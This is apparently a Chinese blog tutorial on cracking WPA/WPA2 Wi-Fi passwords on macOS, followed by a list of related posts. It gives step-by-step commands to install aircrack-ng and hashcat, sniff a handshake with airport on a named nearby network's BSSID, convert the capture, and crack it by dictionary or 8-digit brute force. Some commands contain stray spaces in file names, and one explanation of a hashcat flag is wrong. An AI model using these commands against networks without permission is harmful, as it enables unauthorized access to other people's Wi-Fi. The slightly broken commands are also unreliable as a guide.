一. 安装MacPorts

官网: https://www.macports.org/install.php

前提: 本地已安装Xcode

1. 下载macOS High Sierra v10.13安装包
     https://github.com/macports/macports-base/releases/download/v2.4.2/MacPorts-2.4.2-10.13-HighSierra.pkg
2. 双击.pkg文件进行安装
3. sudo port install aircrack-ng
4. (option)为使用方便,将airport添加到PATH路径下(.bash_profile)

二. 安装hashcat

官网: https://hashcat.net/hashcat/

Github网址: https://github.com/hashcat/hashcat

1. 下载源码

git clone https://github.com/hashcat/hashcat.git

2. 编译安装
$ cd hashcat
$ sudo make 
$ sudo make install
3. 检查是否安装成功
$ hashcat -V

输出: v4.1.0-7-gf6cfcbbc

三. 安装hashcat-utils

网站: https://hashcat.net/wiki/doku.php?id=hashcat_utils#cap2hccapx
下载页面: https://github.com/hashcat/hashcat-utils/releases/

1. 解压zip包
2. cd到src目录下/Applications/Coding/hashcat-utils-1.8/src
3. sudo build
4. (option)为使用方便,将其配置到PATH目录下(.bash_profile)

抓包步骤:

1. airport -s

MERCURY_304 d8:15:0d:ef:a1:f0 -82  11,-1   Y  -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)

2. sudo airport en0 sniff 6

3. ls -lh /tmp/*.cap

格式转换:

1. 旧版本
将.cap文件转为.hccap格式
aircrack-ng airportSniffhLSNU6.cap -J out.hccap

2. 新版本:
将网络抓取文件(.cap 或 .pcap)转换为 .hccapx 格式
$ ./cap2hccapx.bin /tmp/airportSniffhLSNU6.cap /tmp/output.hccapx TP_LINK
破解步骤:
1. 使用aircrack-ng破解(慢!!)
$ sudo aircrack-ng -w /Users/nb/Downloads/password.txt -b d8:15:0d:ef:a1:f0 /tmp/airportSniffhLSNU6.cap

2. 使用hashcat破解(快!!!)
(旧版本hccap格式)$ hashcat -m 2500 /tmp/out.hccap .hccap /Users/nb/Downloads/password.txt
(新版本hccapx格式)$ hashcat -m 2500 /tmp/output .hccapx /Users/nb/Downloads/password.txt
解释: 
第一个参数: -m 2500为破解的模式为WPA/PSK方式
第二个参数: hccapx格式的文件是刚刚转化好的文件
第三个参数: password.txt为字典文件

8位全数字例子:
$ hashcat -m 2500 -a 3 handshake.hccap ?d?d?d?d?d?d?d?d
解释:
参数: -a 3:设置攻击模式,“模式3”代表暴力破解
参数: -m 0:设置待破解数据的哈希类型,“0”即为MD5

参考文章:
1.  http://www.cnblogs.com/diligenceday/p/6359661.html
2. http://topspeedsnail.com/macbook-crack-wifi-with-wpa-wpa2/

TO READ:
1. Cracking WPA/WPA2 with hashcat
https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
2. hcxtools
https://github.com/ZerBea/hcxtools
3. https://klionsec.github.io/2015/04/14/aircrack-hascat/#menu

Mac上跑wifi密码方法相关推荐

  1. 怎样在Mac上查找WiFi密码并在iPhone上共享它?

    MacBooks上的"钥匙串访问"应用程序存储您的个人数据和密码.也可以将其称为macOS密码管理器.每当您在登录网站,电子邮件帐户,网络或任何受密码保护的项目时保存密码时,都可以 ...

  2. 如何在Mac上查找WiFi密码并在iPhone上共享它?

    MacBooks上的"钥匙串访问"应用程序存储您的个人数据和密码.也可以将其称为macOS密码管理器.每当您在登录网站,电子邮件帐户,网络或任何受密码保护的项目时保存密码时,都可以 ...

  3. 如何在 Linux、Windows 和 Mac 上查找 WiFi 密码?

    无线网络已成为我们日常生活中不可或缺的一部分,我们经常需要连接各种WiFi网络.但是,有时我们可能会忘记自己的WiFi密码,或者需要连接到一个以前连接过的网络.在这种情况下,我们可以使用一些方法来查找 ...

  4. 怎样共享苹果Mac上的 Wi-Fi 密码?

    如果已登录 Wi-Fi 网络,用户可以使用 Mac 与附近他人的 Mac.iPhone 或 iPad 共享密码. 1.确保要加入Wi-Fi网络的人(包括其Apple ID电子邮件)在您的"联 ...

  5. mac上查看wifi密码明文

    有的时候会碰到wifi的密码忘记了,但是是以前用过的wifi,想知道有没有办法能够找到密码明文,搜了一下果然有,而且非常方便,摘录如下. 首先,打开应用程序中『实用工具』文件夹中的『钥匙串访问』 选择 ...

  6. win10 计算机网络密码,win10系统电脑如何查看wifi密码 win10系统电脑查看wifi密码方法【介绍】...

    本文介绍了win10系统电脑查看路由器无线wifi密码是多少的方法.在我们使用路由器时,难免会遇到忘记无线wifi密码是多少的问题,那么此时我们应该怎么办呢?如果大家的电脑是win10系统不妨参考本文 ...

  7. 钥匙串密码忘记了怎么办?如何在Mac上重置钥匙串密码

    在Mac上重置钥匙串访问权限可能会使某些用户感到困惑.原因是登录到Mac的钥匙串密码和用户帐户密码可能不同.根据用户的要求,我们决定编写一份详细指南,说明如果忘记了如何重置Apple钥匙串. 什么是钥 ...

  8. linux怎么设置wifi密码,技术|怎样在 Arch Linux 终端上更改 WiFi 密码

    我从来没有在 Arch Linux 终端上用命令行来更改 WiFi 密码.我开始在 google 上搜索相关资料,并且在 Arch Linux 论坛找到了一个好的解决办法. • 来源:linux.cn ...

  9. linux wifi密码保存在哪个文件夹,Ubuntu明文存储WiFi密码方法介绍

    玩蛇网推荐图文教程:python 列表 Ubuntu明文存储WiFi密码方法介绍.Linux系统的驱动发行版在主目录外存储Wi-Fi配置文件,这使得它们更易于被访问. 这包括Wi-Fi配置文件的密码: ...

最新文章

  1. Tomcat开机启动
  2. 设计模式——模板方法
  3. jetty设置双向ssl_在Jetty中设置SSL
  4. 如何选择高性能的数据分析工具,你需要看看数据架构的进化史!
  5. 了解C#常用关键字 1214
  6. 2017-11-14【Python】爬虫练习
  7. oracle 循环块,Oracle语句块PL/SQL循环判断
  8. mysql sam和db_Mysql
  9. MySql Windws 下自动备份脚本
  10. 车牌识别存储云服务器,云端(服务器)车牌识别技术
  11. AT指令集及常用指令
  12. 苦口婆心一考拉|向沉迷游戏的中(大)学生讲解内存和磁盘
  13. 大数据在生活中有什么应用(一)
  14. Python安装wheel文件
  15. INI配置——《跟我学Shiro》
  16. excel文件被写保护怎么解除_如何去掉Excel表格中的密码保护?
  17. 十一、Cadence ic 617以及assura使用总结
  18. 《汇编语言》王爽(第四版) 第十六章 实验16
  19. Elasticsearch创建一个索引怎么也这么复杂
  20. 微型计算机在cad和cam中,CAM CAD考试题

热门文章

  1. 入库单出库单能否实现仓库只有审核权无反审核权
  2. NFS 在线安装和离线安装方式
  3. 一次显卡报错的解决过程
  4. 小超模沈青诗窈 荣获第六季完美童模 全球人气亚军
  5. 如何用迅雷下载python_python解决迅雷下载限制的方法
  6. 15.说说你对slot的理解?slot使用场景有哪些?
  7. 时间转化,多少分钟前,多少秒前
  8. 三维地图制作 数据选型 相关参考资料
  9. 软件测试52讲 - 笔记(二)-GUI自动化测试篇
  10. Python(phone)模块获取手机号归属地、区号、运营商等